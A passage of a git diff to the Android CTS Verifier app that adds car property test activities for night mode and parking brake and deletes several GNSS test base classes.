+ (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+ if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+ VehiclePropertyIds.NIGHT_MODE, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+ mInstructionTextView.setText("ERROR: Unable to register for NIGHT_MODE callback");
+ Log.e(TAG, "Failed to register callback for NIGHT_MODE with CarPropertyManager");
+ }
+ }
+
+ // Need to save the state because of the UI Mode switch with the change in the NIGHT_MODE
+ // property value.
+ @Override
+ protected void onSaveInstanceState(final Bundle outState) {
+ super.onSaveInstanceState(outState);
+ outState.putBoolean(CURRENT_NIGHT_MODE_VALUE, mCurrentNightModeValue);
+ outState.putInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION,
+ mTotalTimesNewValueMatchedInstruction);
+ }
+
+ @Override
+ protected void onRestoreInstanceState(final Bundle savedInstanceState) {
+ super.onRestoreInstanceState(savedInstanceState);
+ mCurrentNightModeValue = savedInstanceState.getBoolean(CURRENT_NIGHT_MODE_VALUE);
+ mTotalTimesNewValueMatchedInstruction =
+ savedInstanceState.getInt(TOTAL_TIMES_NEW_VALUE_MATCHED_INSTRUCTION);
+ }
+
+ private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+ new CarPropertyManager.CarPropertyEventCallback() {
+ @Override
+ public void onChangeEvent(CarPropertyValue value) {
+ if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+ Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+ value.getPropertyId() + " status: " + value.getStatus());
+ return;
+ }
+
+ Boolean newValue = (Boolean) value.getValue();
+ Log.i(TAG, "New NIGHT_MODE value: " + newValue);
+
+ // On the first callback, mCurrentNightModeValue will be null, so just save the
+ // current value. All other callbacks, check if the NIGHT_MODE value has switched.
+ // If switched, update the count.
+ if (mCurrentNightModeValue != null && !mCurrentNightModeValue.equals(newValue)) {
+ mTotalTimesNewValueMatchedInstruction++;
+ }
+
+ mCurrentNightModeValue = newValue;
+ mCurrentNightModeValueTextView.setText(mCurrentNightModeValue.toString());
+
+ // Check if the test is finished. If not finished, update the instructions.
+ if(mTotalTimesNewValueMatchedInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
+ mInstructionTextView.setText("Test Finished!");
+ getPassButton().setEnabled(true);
+ } else if(mCurrentNightModeValue) {
+ mInstructionTextView.setText("Toggle off NIGHT_MODE through Vehicle HAL");
+ } else {
+ mInstructionTextView.setText("Toggle on NIGHT_MODE through Vehicle HAL");
+ }
+ }
+
+ @Override
+ public void onErrorEvent(int propId, int zone) {
+ Log.e(TAG, "propId: " + propId + " zone: " + zone);
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java
new file mode 100644
index 0000000..c89e895
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/ParkingBrakeOnTestActivity.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.car.Car;
+import android.car.hardware.CarPropertyConfig;
+import android.car.hardware.CarPropertyValue;
+import android.car.hardware.property.CarPropertyManager;
+import android.car.VehicleAreaType;
+import android.car.VehiclePropertyIds;
+import android.os.Bundle;
+import android.widget.TextView;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** A CTS Verifier test case to verify PARKING_BRAKE_ON is implemented correctly.*/
+public class ParkingBrakeOnTestActivity extends PassFailButtons.Activity {
+ private static final String TAG = ParkingBrakeOnTestActivity.class.getSimpleName();
+ private static final int TOTAL_MATCHES_NEEDED_TO_FINISH = 2;
+ private Boolean mCurrentParkingBrakeOnValue;
+ private TextView mInstructionTextView;
+ private TextView mCurrentParkingBrakeOnValueTextView;
+ private int mTotalTimesNewValueMatchInstruction = 0;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Setup the UI.
+ setContentView(R.layout.parking_brake_on_test);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.parking_brake_on_test, R.string.parking_brake_on_test_desc, -1);
+ getPassButton().setEnabled(false);
+
+ mInstructionTextView = (TextView) findViewById(R.id.instruction);
+ mInstructionTextView.setText("Waiting to get first PARKING_BRAKE_ON callback");
+ mCurrentParkingBrakeOnValueTextView =
+ (TextView) findViewById(R.id.current_parking_brake_on_value);
+
+
+ CarPropertyManager carPropertyManager =
+ (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE);
+
+ if(!carPropertyManager.registerCallback(mCarPropertyEventCallback,
+ VehiclePropertyIds.PARKING_BRAKE_ON, CarPropertyManager.SENSOR_RATE_ONCHANGE)) {
+ mInstructionTextView.setText("ERROR: Unable to register for PARKING_BRAKE_ON callback");
+ Log.e(TAG, "Failed to register callback for PARKING_BRAKE_ON with CarPropertyManager");
+ }
+ }
+
+ private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback =
+ new CarPropertyManager.CarPropertyEventCallback() {
+ @Override
+ public void onChangeEvent(CarPropertyValue value) {
+ if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) {
+ Log.e(TAG, "New CarPropertyValue's status is not available - propId: " +
+ value.getPropertyId() + " status: " + value.getStatus());
+ return;
+ }
+
+ Boolean newValue = (Boolean) value.getValue();
+ Log.i(TAG, "New PARKING_BRAKE_ON value: " + newValue);
+
+ // On the first callback, mCurrentParkingBrakeOnValue will be null, so just save the
+ // current value. All other callbacks, check if the PARKING_BRAKE_ON value has switched.
+ // If switched, update the count.
+ if (mCurrentParkingBrakeOnValue != null &&
+ !mCurrentParkingBrakeOnValue.equals(newValue)) {
+ mTotalTimesNewValueMatchInstruction++;
+ }
+
+ mCurrentParkingBrakeOnValue = newValue;
+ mCurrentParkingBrakeOnValueTextView.setText(mCurrentParkingBrakeOnValue.toString());
+
+ // Check if the test is finished. If not finished, update the instructions.
+ if(mTotalTimesNewValueMatchInstruction >= TOTAL_MATCHES_NEEDED_TO_FINISH) {
+ mInstructionTextView.setText("Test Finished!");
+ getPassButton().setEnabled(true);
+ } else if(mCurrentParkingBrakeOnValue) {
+ mInstructionTextView.setText("Disengage the Parking Brake");
+ } else {
+ mInstructionTextView.setText("Engage the Parking Brake");
+ }
+ }
+
+ @Override
+ public void onErrorEvent(int propId, int zone) {
+ Log.e(TAG, "propId: " + propId + " zone: " + zone);
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java
deleted file mode 100644
index 5da985d..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/BaseGnssTestActivity.java
+++ /dev/null
@@ -1,447 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.TestResult;
-import com.android.cts.verifier.location.reporting.GnssTestDetails;
-
-import junit.framework.Assert;
-
-import com.android.cts.verifier.PassFailButtons;
-
-import android.content.Context;
-import android.content.Intent;
-import android.hardware.cts.helpers.ActivityResultMultiplexedLatch;
-import android.media.MediaPlayer;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.os.Vibrator;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.text.format.DateUtils;
-import android.util.Log;
-import android.view.View;
-import android.widget.Button;
-import android.widget.LinearLayout;
-import android.widget.ScrollView;
-import android.widget.TextView;
-
-import java.util.ArrayList;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-import android.test.AndroidTestCase;
-
-/**
- * A base Activity that is used to build different methods to execute tests inside CtsVerifier.
- * i.e. CTS tests, and semi-automated CtsVerifier tests.
- *
- * This class provides access to the following flow:
- * Activity set up
- * Execute tests (implemented by sub-classes)
- * Activity clean up
- *
- * Currently the following class structure is available:
- * - BaseGnssTestActivity : provides the platform to execute Gnss tests inside
- * | CtsVerifier.
- * |
- * -- GnssCtsTestActivity : an activity that can be inherited from to wrap a CTS
- * | Gnss test, and execute it inside CtsVerifier
- * | these tests do not require any operator interaction
- */
-public abstract class BaseGnssTestActivity extends PassFailButtons.Activity
- implements View.OnClickListener, Runnable, IGnssTestStateContainer {
- @Deprecated
- protected static final String LOG_TAG = "GnssTest";
-
- protected final Class mTestClass;
-
- private final int mLayoutId;
-
- private final ExecutorService mExecutorService = Executors.newSingleThreadExecutor();
- private final ActivityResultMultiplexedLatch mActivityResultMultiplexedLatch =
- new ActivityResultMultiplexedLatch();
- private final ArrayList<CountDownLatch> mWaitForUserLatches = new ArrayList<CountDownLatch>();
-
- private ScrollView mLogScrollView;
- private LinearLayout mLogLayout;
- private Button mNextButton;
- protected TextView mTextView;
-
- /**
- * Constructor to be used by subclasses.
- *
- * @param testClass The class that contains the tests. It is dependant on test executor
- * implemented by subclasses.
- */
- protected BaseGnssTestActivity(Class<? extends AndroidTestCase> testClass) {
- this(testClass, R.layout.gnss_test);
- }
-
- /**
- * Constructor to be used by subclasses. It allows to provide a custom layout for the test UI.
- *
- * @param testClass The class that contains the tests. It is dependant on test executor
- * implemented by subclasses.
- * @param layoutId The Id of the layout to use for the test UI. The layout must contain all the
- * elements in the base layout {@code R.layout.gnss_test}.
- */
- protected BaseGnssTestActivity(Class testClass, int layoutId) {
- mTestClass = testClass;
- mLayoutId = layoutId;
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(mLayoutId);
-
- mLogScrollView = (ScrollView) findViewById(R.id.log_scroll_view);
- mLogLayout = (LinearLayout) findViewById(R.id.log_layout);
- mNextButton = (Button) findViewById(R.id.next_button);
- mNextButton.setOnClickListener(this);
- mTextView = (TextView) findViewById(R.id.text);
-
- mTextView.setText(R.string.location_gnss_test_info);
-
- updateNextButton(false /*not enabled*/);
- mExecutorService.execute(this);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- mExecutorService.shutdownNow();
- }
-
- @Override
- protected void onPause() {
- super.onPause();
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- }
-
- @Override
- public void onClick(View target) {
- synchronized (mWaitForUserLatches) {
- for (CountDownLatch latch : mWaitForUserLatches) {
- latch.countDown();
- }
- mWaitForUserLatches.clear();
- }
- }
-
- @Override
- protected void onActivityResult(int requestCode, int resultCode, Intent data) {
- mActivityResultMultiplexedLatch.onActivityResult(requestCode, resultCode);
- }
-
- /**
- * The main execution {@link Thread}.
- *
- * This function executes in a background thread, allowing the test run freely behind the
- * scenes. It provides the following execution hooks:
- * - Activity SetUp/CleanUp (not available in JUnit)
- * - executeTests: to implement several execution engines
- */
- @Override
- public void run() {
- long startTimeNs = SystemClock.elapsedRealtimeNanos();
- String testName = getTestClassName();
-
- GnssTestDetails testDetails;
- try {
- testDetails = new GnssTestDetails(testName, GnssTestDetails.ResultCode.PASS);
- } catch (Throwable e) {
- testDetails = new GnssTestDetails(testName, "DeactivateFeatures", e);
- }
-
- GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
- if (resultCode == GnssTestDetails.ResultCode.SKIPPED) {
- // this is an invalid state at this point of the test setup
- throw new IllegalStateException("Deactivation of features cannot skip the test.");
- }
- if (resultCode == GnssTestDetails.ResultCode.PASS) {
- testDetails = executeActivityTests(testName);
- }
-
- // This set the test UI so the operator can report the result of the test
- updateResult(testDetails);
- }
-
- /**
- * A general set up routine. It executes only once before the first test case.
- *
- * NOTE: implementers must be aware of the interrupted status of the worker thread, and let
- * {@link InterruptedException} propagate.
- *
- * @throws Throwable An exception that denotes the failure of set up. No tests will be executed.
- */
- protected void activitySetUp() throws Throwable {}
-
- /**
- * A general clean up routine. It executes upon successful execution of {@link #activitySetUp()}
- * and after all the test cases.
- *
- * NOTE: implementers must be aware of the interrupted status of the worker thread, and handle
- * it in two cases:
- * - let {@link InterruptedException} propagate
- * - if it is invoked with the interrupted status, prevent from showing any UI
-
- * @throws Throwable An exception that will be logged and ignored, for ease of implementation
- * by subclasses.
- */
- protected void activityCleanUp() throws Throwable {}
-
- /**
- * Performs the work of executing the tests.
- * Sub-classes implementing different execution methods implement this method.
- *
- * @return A {@link GnssTestDetails} object containing information about the executed tests.
- */
- protected abstract GnssTestDetails executeTests() throws InterruptedException;
-
- @Deprecated
- protected void appendText(String text) {
- TextAppender textAppender = new TextAppender(R.layout.snsr_instruction);
- textAppender.setText(text);
- textAppender.append();
- }
-
- @Deprecated
- protected void clearText() {
- this.runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mLogLayout.removeAllViews();
- }
- });
- }
-
- /**
- * Waits for the operator to acknowledge a requested action.
- *
- * @param waitMessageResId The action requested to the operator.
- */
- protected void waitForUser(int waitMessageResId) throws InterruptedException {
- CountDownLatch latch = new CountDownLatch(1);
- synchronized (mWaitForUserLatches) {
- mWaitForUserLatches.add(latch);
- }
-
- updateNextButton(true);
- latch.await();
- updateNextButton(false);
- }
-
- /**
- * Waits for the operator to acknowledge to begin execution.
- */
- protected void waitForUserToBegin() throws InterruptedException {
- waitForUser(R.string.snsr_wait_to_begin);
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public void waitForUserToContinue() throws InterruptedException {
- waitForUser(R.string.snsr_wait_for_user);
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public int executeActivity(String action) throws InterruptedException {
- return executeActivity(new Intent(action));
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public int executeActivity(Intent intent) throws InterruptedException {
- ActivityResultMultiplexedLatch.Latch latch = mActivityResultMultiplexedLatch.bindThread();
- startActivityForResult(intent, latch.getRequestCode());
- return latch.await();
- }
-
- /**
- * Plays a (default) sound as a notification for the operator.
- */
- protected void playSound() throws InterruptedException {
- MediaPlayer player = MediaPlayer.create(this, Settings.System.DEFAULT_NOTIFICATION_URI);
- if (player == null) {
- Log.e(LOG_TAG, "MediaPlayer unavailable.");
- return;
- }
- player.start();
- try {
- Thread.sleep(500);
- } finally {
- player.stop();
- }
- }
-
- /**
- * Makes the device vibrate for the given amount of time.
- */
- protected void vibrate(int timeInMs) {
- Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE);
- vibrator.vibrate(timeInMs);
- }
-
- /**
- * Makes the device vibrate following the given pattern.
- * See {@link Vibrator#vibrate(long[], int)} for more information.
- */
- protected void vibrate(long[] pattern) {
- Vibrator vibrator = (Vibrator) getSystemService(Context.VIBRATOR_SERVICE);
- vibrator.vibrate(pattern, -1);
- }
-
- protected String getTestClassName() {
- if (mTestClass == null) {
- return "<unknown>";
- }
- return mTestClass.getName();
- }
-
- protected void setLogScrollViewListener(View.OnTouchListener listener) {
- mLogScrollView.setOnTouchListener(listener);
- }
-
- private void setTestResult(GnssTestDetails testDetails) {
- // the name here, must be the Activity's name because it is what CtsVerifier expects
- String name = super.getClass().getName();
- GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
- switch(resultCode) {
- case SKIPPED:
- TestResult.setPassedResult(this, name, "");
- break;
- case PASS:
- TestResult.setPassedResult(this, name, "");
- break;
- case FAIL:
- TestResult.setFailedResult(this, name, "");
- break;
- case INTERRUPTED:
- // do not set a result, just return so the test can complete
- break;
- default:
- throw new IllegalStateException("Unknown ResultCode: " + resultCode);
- }
- }
-
- private GnssTestDetails executeActivityTests(String testName) {
- GnssTestDetails testDetails;
- try {
- activitySetUp();
- testDetails = new GnssTestDetails(testName, GnssTestDetails.ResultCode.PASS);
- } catch (Throwable e) {
- testDetails = new GnssTestDetails(testName, "ActivitySetUp", e);
- }
-
- GnssTestDetails.ResultCode resultCode = testDetails.getResultCode();
- if (resultCode == GnssTestDetails.ResultCode.PASS) {
- // TODO: implement execution filters:
- // - execute all tests and report results officially
- // - execute single test or failed tests only
- try {
- testDetails = executeTests();
- } catch (Throwable e) {
- // we catch and continue because we have to guarantee a proper clean-up sequence
- testDetails = new GnssTestDetails(testName, "TestExecution", e);
- }
- }
-
- // clean-up executes for all states, even on SKIPPED and INTERRUPTED there might be some
- // intermediate state that needs to be taken care of
- try {
- activityCleanUp();
- } catch (Throwable e) {
- testDetails = new GnssTestDetails(testName, "ActivityCleanUp", e);
- }
-
- return testDetails;
- }
-
- private void updateResult(final GnssTestDetails testDetails) {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- setTestResult(testDetails);
- }
- });
- }
-
- private void updateNextButton(final boolean enabled) {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mNextButton.setEnabled(enabled);
- }
- });
- }
-
- private class ViewAppender {
- protected final View mView;
-
- public ViewAppender(View view) {
- mView = view;
- }
-
- public void append() {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mLogLayout.addView(mView);
- mLogScrollView.post(new Runnable() {
- @Override
- public void run() {
- mLogScrollView.fullScroll(View.FOCUS_DOWN);
- }
- });
- }
- });
- }
- }
-
- private class TextAppender extends ViewAppender{
- private final TextView mTextView;
-
- public TextAppender(int textViewResId) {
- super(getLayoutInflater().inflate(textViewResId, null /* viewGroup */));
- mTextView = (TextView) mView;
- }
-
- public void setText(String text) {
- mTextView.setText(text);
- }
-
- public void setText(int textResId) {
- mTextView.setText(textResId);
- }
- }
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
deleted file mode 100644
index e62c21f..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import android.location.cts.GnssTestCase;
-import android.location.cts.MultiConstellationNotSupportedException;
-import android.view.WindowManager;
-
-import com.android.cts.verifier.R;
-import com.android.cts.verifier.location.reporting.GnssTestDetails;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-import org.junit.internal.runners.JUnit38ClassRunner;
-import org.junit.internal.runners.SuiteMethod;
-import org.junit.runner.Computer;
-import org.junit.runner.Description;
-import org.junit.runner.JUnitCore;
-import org.junit.runner.Request;
-import org.junit.runner.Result;
-import org.junit.runner.Runner;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
-import org.junit.runners.model.RunnerBuilder;
-
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-/**
- * An Activity that allows Gnss CTS tests to be executed inside CtsVerifier.
- *
- * Sub-classes pass the test class as part of construction.
- * One JUnit test class is executed per Activity, the test class can still be executed outside
- * CtsVerifier.
- */
-public class GnssCtsTestActivity extends BaseGnssTestActivity {
-
- /**
- * Constructor for a CTS test executor. It will execute a standalone CTS test class.
- *
- * @param testClass The test class to execute, it must be a subclass of {@link AndroidTestCase}.
- */
- protected GnssCtsTestActivity(Class<? extends GnssTestCase> testClass) {
- super(testClass);
- }
-
- /**
- * Constructor to be used by subclasses. It allows to provide a custom layout for the test UI.
- *
- * @param testClass The class that contains the tests. It is dependant on test executor
- * implemented by subclasses.
- * @param layoutId The Id of the layout to use for the test UI. The layout must contain all the
- * elements in the base layout {@code R.layout.gnss_test}.
- */
- protected GnssCtsTestActivity(Class<? extends GnssTestCase> testClass, int layoutId) {
- super(testClass, layoutId);
- }
-
- @Override
- protected void activitySetUp() throws InterruptedException {
- waitForUserToBegin();
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mTextView.setText("");
- }
- });
- }
-
- @Override
- protected void activityCleanUp() {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
- }
- });
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- }
-
- /**
- * For reference on the implementation of this test executor see:
- * androidx.test.runner.AndroidJUnitRunner
- */
- @Override
- protected GnssTestDetails executeTests() {
- JUnitCore testRunner = new JUnitCore();
- testRunner.addListener(new GnssRunListener());
-
- Computer computer = new Computer();
- RunnerBuilder runnerBuilder = new GnssRunnerBuilder();
-
- Runner runner;
- try {
- runner = computer.getSuite(runnerBuilder, new Class[]{ mTestClass });
- } catch (Exception e) {
- return new GnssTestDetails(
- getTestClassName(),
- GnssTestDetails.ResultCode.FAIL,
- "[JUnit Initialization]" + e.getMessage());
- }
-
- Request request = Request.runner(runner);
- Result result = testRunner.run(request);
- // Handle MultiConstellationNotSupportedException warning: If there is a
- // "MultiConstellationNotSupportedException" then it will just print the warning and
- // mark test as pass.
- int failureCount = result.getFailureCount();
- List<Failure> failures = result.getFailures();
- for (Failure f: failures) {
- // TODO: Refactor this to use a more general exception instead of
- // MultiConstellationNotSupportedException.
- if (f.getException() instanceof MultiConstellationNotSupportedException) {
- failureCount = failureCount - 1;
- int passCount = result.getRunCount() - failureCount - result.getIgnoreCount();
- return new GnssTestDetails(
- getApplicationContext(), getClass().getName(), passCount,
- result.getIgnoreCount(), failureCount);
- }
- }
-
- return new GnssTestDetails(getApplicationContext(), getClass().getName(), result);
- }
-
- /**
- * A {@link RunnerBuilder} that is used to inject during execution a {@link GnssCtsTestSuite}.
- */
- private class GnssRunnerBuilder extends RunnerBuilder {
- @Override
- public Runner runnerForClass(Class<?> testClass) throws Throwable {
- TestSuite testSuite;
- if (hasSuiteMethod(testClass)) {
- Test test = SuiteMethod.testFromSuiteMethod(testClass);
- if (test instanceof TestSuite) {
- testSuite = (TestSuite) test;
- } else {
- throw new IllegalArgumentException(
- testClass.getName() + "#suite() did not return a TestSuite.");
- }
- } else {
- testSuite = new TestSuite(testClass);
- }
- GnssCtsTestSuite gnssTestSuite =
- new GnssCtsTestSuite(getApplicationContext(), testSuite);
- return new JUnit38ClassRunner(gnssTestSuite);
- }
-
- private boolean hasSuiteMethod(Class<?> testClass) {
- try {
- testClass.getMethod("suite");
- return true;
- } catch (NoSuchMethodException e) {
- return false;
- }
- }
- }
-
- /**
- * Dummy {@link RunListener}.
- * It is only used to handle logging into the UI.
- */
- private class GnssRunListener extends RunListener {
- private volatile boolean mCurrentTestReported;
- private StringBuilder mTestsResults = new StringBuilder("Test summary:\n");
- private int mPassTestCase = 0;
- private int mFailTestCase = 0;
-
- public void testRunStarted(Description description) throws Exception {
- // nothing to log
- }
-
- public void testRunFinished(Result result) throws Exception {
- // nothing to log
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- int totalTestCase = mPassTestCase + mFailTestCase;
- mTestsResults.append(String.format("\n\n %d/%d verification passed.",
- mPassTestCase, totalTestCase));
- if (mFailTestCase == 0) {
- mTestsResults.append(" All test pass!");
- } else {
- mTestsResults.append("\n\n" + mTextView.getResources().getString(
- R.string.location_gnss_test_retry_info) + "\n");
- }
- mTextView.setText(mTestsResults);
- }
- });
- vibrate((int)TimeUnit.SECONDS.toMillis(2));
- playSound();
- }
-
- public void testStarted(Description description) throws Exception {
- mCurrentTestReported = false;
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mTextView.append("\n Running test: " + description.getMethodName());
- }
- });
- }
-
- public void testFinished(Description description) throws Exception {
- if (!mCurrentTestReported) {
- mPassTestCase++;
- appendTestDetail("\n Test passed: " + description.getMethodName());
- mTestsResults.append("\n Test passed: " + description.getMethodName());
- }
- }
-
- public void testFailure(Failure failure) throws Exception {
- mCurrentTestReported = true;
- if (failure.getException() instanceof MultiConstellationNotSupportedException) {
- // append warning for MultiConstellationNotSupportedException's.
- mTestsResults.append(failure.getException());
- } else {
- mFailTestCase++;
- mTestsResults.append("\n Test failed: "
- + failure.getDescription().getMethodName()
- + "\n\n Error: " + failure.toString() + "\n");
- }
- }
-
- public void testAssumptionFailure(Failure failure) {
- mCurrentTestReported = true;
- }
-
- public void testIgnored(Description description) throws Exception {
- mCurrentTestReported = true;
- }
-
- private void appendTestDetail(final String testDetail) {
- runOnUiThread(new Runnable() {
- @Override
- public void run() {
- mTextView.append(testDetail);
- }
- });
- }
- }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java
deleted file mode 100644
index fb33a63..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestResult.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.verifier.location.base;
-
-import junit.framework.AssertionFailedError;
-import junit.framework.Protectable;
-import junit.framework.Test;
-import junit.framework.TestCase;
-import junit.framework.TestFailure;
-import junit.framework.TestListener;
-import junit.framework.TestResult;
-
-import android.content.Context;
-import android.location.cts.GnssTestCase;
-
-import java.util.Enumeration;
-
-/**
- * A wrapper class for a {@link TestResult}.
- *
- * It provides a way to inject augmented data and helper objects during the execution of tests.
- * i.e. inject a Context object for use by tests.
- */
-public class GnssCtsTestResult extends TestResult {
- private final Context mContext;
- private final TestResult mWrappedTestResult;
-
- private volatile boolean mInterrupted;
-
- public GnssCtsTestResult(Context context, TestResult testResult) {
- mContext = context;
- mWrappedTestResult = testResult;
- }
-
- @Override
- public void addError(Test test, Throwable throwable) {
- mWrappedTestResult.addError(test, throwable);
- }
-
- @Override
- public void addFailure(Test test, AssertionFailedError assertionFailedError) {
- mWrappedTestResult.addFailure(test, assertionFailedError);
- }
-
- @Override
- public void addListener(TestListener testListener) {
- mWrappedTestResult.addListener(testListener);
- }
-
- @Override
- public void removeListener(TestListener testListener) {
- mWrappedTestResult.removeListener(testListener);
- }
-
- @Override
- public void endTest(Test test) {
- mWrappedTestResult.endTest(test);
- }
-
- @Override
- public int errorCount() {
- return mWrappedTestResult.errorCount();
- }
-
- @Override
- public Enumeration<TestFailure> errors() {
- return mWrappedTestResult.errors();
- }
-
- @Override
- public int failureCount() {
- return mWrappedTestResult.failureCount();
- }
-
- @Override
- public Enumeration<TestFailure> failures() {
- return mWrappedTestResult.failures();
- }
-
- @Override
- public int runCount() {
- return mWrappedTestResult.runCount();
- }
-
- @Override
- public void runProtected(Test test, Protectable protectable) {
- try {
- protectable.protect();
- } catch (AssertionFailedError e) {
- addFailure(test, e);
- } catch (ThreadDeath e) {
- throw e;
- } catch (InterruptedException e) {
- mInterrupted = true;
- addError(test, e);
- } catch (Throwable e) {
- addError(test, e);
- }
- }
-
- @Override
- public boolean shouldStop() {
- return mInterrupted || mWrappedTestResult.shouldStop();
- }
-
- @Override
- public void startTest(Test test) {
- mWrappedTestResult.startTest(test);
- }
-
- @Override
- public void stop() {
- mWrappedTestResult.stop();
- }
-
- @Override
- public boolean wasSuccessful() {
- return mWrappedTestResult.wasSuccessful();
- }
-
- @Override
- protected void run(TestCase testCase) {
- if (testCase instanceof GnssTestCase) {
- GnssTestCase gnssTestCase = (GnssTestCase) testCase;
- gnssTestCase.setContext(mContext);
- gnssTestCase.setTestAsCtsVerifierTest(true);
- } else {
- throw new IllegalStateException("TestCase invalid.");
- }
- super.run(testCase);
- }
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java
deleted file mode 100644
index 0a724b6..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestSuite.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
